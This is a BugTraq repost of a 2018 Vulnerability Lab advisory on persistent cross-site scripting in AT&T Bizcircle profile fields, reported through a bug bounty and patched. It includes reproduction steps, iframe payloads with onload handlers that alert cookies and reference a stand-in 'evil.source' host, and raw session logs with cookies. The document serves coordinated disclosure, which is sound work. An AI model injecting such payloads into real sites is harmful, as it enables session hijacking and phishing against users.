BugTraq
AT&T Bizcircle - Persistent Profile Cross Site Scripting Vulnerabilities Jul 11 2018 01:10PM
Vulnerability Lab (research vulnerability-lab com)
Document Title:
===============
AT&T Bizcircle - Persistent Profile Cross Site Scripting Vulnerabilities

References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2108

AT&T Reference ID: 1502971499862

Vulnerability Magazine:
https://www.vulnerability-db.com/?q=articles/2018/07/05/att-corporation-
lab-uncovers-new-details-about-bizcircle-vulnerabilities

Release Date:
=============
2018-07-05

Vulnerability Laboratory ID (VL-ID):
====================================
2108

Common Vulnerability Scoring System:
====================================
4.6

Vulnerability Class:
====================
Cross Site Scripting - Persistent

Current Estimated Price:
========================
1.000â?¬ - 2.000â?¬

Product & Service Introduction:
===============================
AT&T Inc. is an American multinational conglomerate holding company
headquartered at Whitacre Tower in downtown Dallas, Texas.
AT&T is the world's largest telecommunications company. AT&T is also the
second largest provider of mobile telephone services
and the largest provider of fixed telephone services in the United
States. The company provides broadband subscription
television services through Uverse Tv and DirecTV satellite television.
Combined with AT&T's legacy U-verse service, this
also makes AT&T the largest paid television operator. AT&T is the
second-largest company in Texas, behind ExxonMobil. AT&T is
the 11th largest company in the world. AT&T is the largest
telecommunications company in the world by revenue. As of 2017, it
is also the 21st-largest mobile telecom operator in the world, with
138.8 million mobile customers. AT&T was ranked at #4 on
the 2017 rankings of the world's most valuable brands published by Brand
Finance. Since 2012, AT&T has invested more in the
United States than any other public company.

(Copy of the Homepage: https://en.wikipedia.org/wiki/AT%26T )

Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
persistent cross site vulnerabilities in the AT&T Bizcircle online
service web-application.

Vulnerability Disclosure Timeline:
==================================
2017-08-16: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2017-08-17: Vendor Notification (AT&T Security Department)
2017-08-25: Vendor Response/Feedback (AT&T Security Department)
2017-11-10: Vendor Fix/Patch (AT&T Service Developer Team)
2018-02-10: Security Acknowledgements (AT&T Security Department)
2018-07-05: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Affected Product(s):
====================
AT&T Inc
Product: BizCircle - Online Service (Web-Application) 2017 Q3 - Q4

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Authentication Type:
====================
Restricted authentication (user/moderator) - User privileges

User Interaction:
=================
Low User Interaction

Disclosure Type:
================
Bug Bounty Program

Technical Details & Description:
================================
An input validation issue and multiple cross site vulnerabilities has
been discovered in the official AT&T Bizcircle online service
web-application.
The persistent cross site issue allows remote attackers to inject own
malicious script codes with persistent attack vector to compromise
the frontend or backend of the affected web-application.

The vulnerabilities are located in the `/members/att1759500603/profile/`
section of the content management system. Attackers are able to inject
own malicious script code to the `firstname, lastname, name & groups`
parameters of the `profile` section on update. An attacker could register
and then change the firstname and lastname or shared group to a payload
that is insecure saved into the database management system. The injected
payload provokes a persistent execution of the injected code in the
backend or frontend. Session hijacking, persistent phishing and
backend/frontend exploitation is possible.

The security risk of the persistent xss vulnerabilities are estimated as
medium with a cvss (common vulnerability scoring system) count of 4.6.
Exploitation of the persistent web vulnerability requires a low
privileged web-application user account and only low user interaction.
Successful exploitation of the vulnerability results in persistent
phishing, session hijacking, persistent external redirect
to malicious sources and client-side manipulation of affected or
connected web module context.

Vulnerable Parameter(s):
[+] firstname
[+] lastname
[+] name
[+] groups

Affected Section(s):
[+] Frontend
[+] Backend

Proof of Concept (PoC):
=======================
The vulnerabilities can be exploited by remote attackers with low
privileged web-application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the
instruction and information below to continue.

Manual steps to reproduce ...
1. Register to the att bizcirlce web-application by usage of the
register function
2. Login to your account and open the profile section
Note: Start a http session tamper in the browser to preview or record
3. Include the payload to the vulnerable marked input fields (firstname,
lastname, name & groups)
4. Save the profile entries by submit of the post method request
5. The execute occurs in the frontend profile section (local), the
groups (shared) and the backend (lists mods/admins the registered user data)
6. Successful reproduce of the persistent cross site vulnerability!

Member ID: att1759500603

PoC: Payload
"><iframe>%20%20"><iframe src=evil.source onload=alert(document.cookie)>%20
"><iframe>%20%20"><iframe src=evil.source onload=alert(document.domain)>%20

PoC: Exploitation (Demo)
https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/[Pa
yload
Execution]

--- PoC Session Logs ---
Status: 200[OK]
GET https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/
Mime Type[text/html]
Request Header:
Host[bizcircle.att.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0)
Gecko/20100101 Firefox/54.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[https://bizcircle.att.com/members/att1759500603/]
Cookie[PHPSESSID=l18mlg2dueco0q3h6kb131eub7;
AMCV_55633F7A534535110A490D44%40AdobeOrg=209651070
1%7CMCIDTS%7C17396%7CMCMID%7C26100431646396483062447545331633367848%7CMC
AAMLH-1503573649%7C6%7CMCAAMB-
1503573649%7CNRX38WO0n5BH8Th-nqAG_A%7CMCOPTOUT-1502976049s%7CNONE%7CMCAI
D%7CNONE%7CMCSYNCSOP%7C411-174
03%7CvVersion%7C2.0.0;
mbox=session#1502968849133-685067#1502970919|PC#1502968849133-685067.26_
19#1504178659;

AMCVS_55633F7A534535110A490D44%40AdobeOrg=1;
_ga=GA1.2.774089946.1502968850; _gid=GA1.2.1647846308.1502968850;
s_cc=true; bp-activity-oldestpage=1;
aam_uuid=26195646366965627042419912699465776394; Successful
Registration=true;
TLTSID=DFFB796CF9727EB3DAD892F1CE4732DB;
fsr.s={"v2":1,"v1":1,"rid":"d036702-53861434-b5e4-2910-b41f2",
"cp":{"ufix":"no","ug":"n","platform":"mSite","WLS_TSR":"no"},"to":4.7,"
pv":6,"f":1502968971713};
wordpress_logged_in_cae26c4a20b3aee9c355ac89848c9a6c=att1759500603%7C150
3141687%7C5r0gGlSD0k4TLZ8DdczeF
GgpYJrrbeqwy9p8pvslaMr%7Cab6915c095b9e9a27373469d6f4cae49510879dab933281
d16868d1cf4bd524a;
fsr.a=1502969052593; _gat=1]
Connection[keep-alive]
Cache-Control[max-age=0]
Response Header:
Server[Apache]
X-Frame-Options[SAMEORIGIN]
Cache-Control[no-cache, must-revalidate, max-age=0]
X-UA-Compatible[IE=edge]
Content-Type[text/html; charset=UTF-8]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[19399]
Connection[keep-alive]

Status: 200[OK]
GET
https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/evi
l.source/

Mime Type[text/html]
Request Header:
Host[bizcircle.att.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0)
Gecko/20100101 Firefox/54.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]

Referer[https://bizcircle.att.com/members/att1759500603/profile/edit/gro
up/1/]
Cookie[PHPSESSID=l18mlg2dueco0q3h6kb131eub7;
AMCV_55633F7A534535110A490D44%40AdobeOrg=2096510701
%7CMCIDTS%7C17396%7CMCMID%7C26100431646396483062447545331633367848%7CMCA
AMLH-1503573649%7C6%7CMCAAMB-150
3573649%7CNRX38WO0n5BH8Th-nqAG_A%7CMCOPTOUT-1502976049s%7CNONE%7CMCAID%7
CNONE%7CMCSYNCSOP%7C411-17403%7
CvVersion%7C2.0.0;
mbox=session#1502968849133-685067#1502970967|PC#1502968849133-685067.26_
19#1504178707;

AMCVS_55633F7A534535110A490D44%40AdobeOrg=1;
_ga=GA1.2.774089946.1502968850; _gid=GA1.2.1647846308.1502968850;
s_cc=true; bp-activity-oldestpage=1;
aam_uuid=26195646366965627042419912699465776394;
Successful Registration=true; TLTSID=DFFB796CF9727EB3DAD892F1CE4732DB;
fsr.s={"v2":1,"v1":1,"rid":"d036702-53861434-b5e4-2910-b41f2",
"cp":{"ufix":"no","ug":"n","platform":"mSite","WLS_TSR":"no"},"to":4.5,"
pv":6,"f":1502969105924};
wordpress_logged_in_cae26c4a20b3aee9c355ac89848c9a6c=att1759500603%7C150
3141687%7C5r0gGlSD0k4TLZ8Ddc
zeFGgpYJrrbeqwy9p8pvslaMr%7Cab6915c095b9e9a27373469d6f4cae49510879dab933
281d16868d1cf4bd524a;
_gat=1]
Connection[keep-alive]
Response Header:
Server[Apache]
X-Frame-Options[SAMEORIGIN]
Cache-Control[no-cache, must-revalidate, max-age=0]
X-UA-Compatible[IE=edge]
Content-Type[text/html; charset=UTF-8]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[19404]
Connection[keep-alive]

Status: 200[OK]
GET
https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/evi
l.source/

Mime Type[text/html]
Request Header:
Host[bizcircle.att.com]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0)
Gecko/20100101 Firefox/54.0]

Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]

Referer[https://bizcircle.att.com/members/att1759500603/profile/edit/gro
up/1/]
Cookie[PHPSESSID=l18mlg2dueco0q3h6kb131eub7;
AMCV_55633F7A534535110A490D44%40AdobeOrg=2096510701%7CM
CIDTS%7C17396%7CMCMID%7C26100431646396483062447545331633367848%7CMCAAMLH
-1503573649%7C6%7CMCAAMB-1503573649
%7CNRX38WO0n5BH8Th-nqAG_A%7CMCOPTOUT-1502976049s%7CNONE%7CMCAID%7CNONE%7
CMCSYNCSOP%7C411-17403%7CvVersion%7C2.0.0;

mbox=session#1502968849133-685067#1502970967|PC#1502968849133-685067.26_
19#1504178707;
AMCVS_55633F7A534535110
A490D44%40AdobeOrg=1; _ga=GA1.2.774089946.1502968850;
_gid=GA1.2.1647846308.1502968850;
s_cc=true; bp-activity-oldestpage=1;
aam_uuid=26195646366965627042419912699465776394;
Successful Registration=true; TLTSID=DFFB796CF9727EB3DAD892F1CE4732DB;
fsr.s={"v2":1,"v1":1,"rid":"d036702-53861434-b5e4-2910-b41f2",
"cp":{"ufix":"no","ug":"n","platform":"mSite","WLS_TSR":"no"},"to":4.5,"
pv":6,"f":1502969105924};
wordpress_logged_in_cae26c4a20b3aee9c355ac89848c9a6c=att1759500603%7C150
3141687%7C5r0gGlSD0k4TLZ8DdczeF
GgpYJrrbeqwy9p8pvslaMr%7Cab6915c095b9e9a27373469d6f4cae49510879dab933281
d16868d1cf4bd524a;
_gat=1]
Connection[keep-alive]
Response Header:
Server[Apache]
X-Frame-Options[SAMEORIGIN]
Cache-Control[no-cache, must-revalidate, max-age=0]
X-UA-Compatible[IE=edge]
Content-Type[text/html; charset=UTF-8]
Vary[Accept-Encoding]
Content-Encoding[gzip]
Content-Length[19404]
Connection[keep-alive]

Reference(s):
https://bizcircle.att.com/
https://bizcircle.att.com/members/
https://bizcircle.att.com/members/att1759500603/
https://bizcircle.att.com/members/att1759500603/profile/
https://bizcircle.att.com/members/att1759500603/profile/edit/
https://bizcircle.att.com/members/att1759500603/profile/edit/group/
https://bizcircle.att.com/members/att1759500603/profile/edit/group/1/

Solution - Fix & Patch:
=======================
The vulnerability has been patched by the at&t developer team of the biz
circle team. The issue was part of the official bug bounty program.

Security Risk:
==============
The security risk of the persistent cross site vulnerabilities in the
web-application are estimated as medium (CVSS 4.6).

Credits & Authors:
==================
Benjamin K.M. [Vulnerability Laboratory Core Research Team] -
https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.

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=========================
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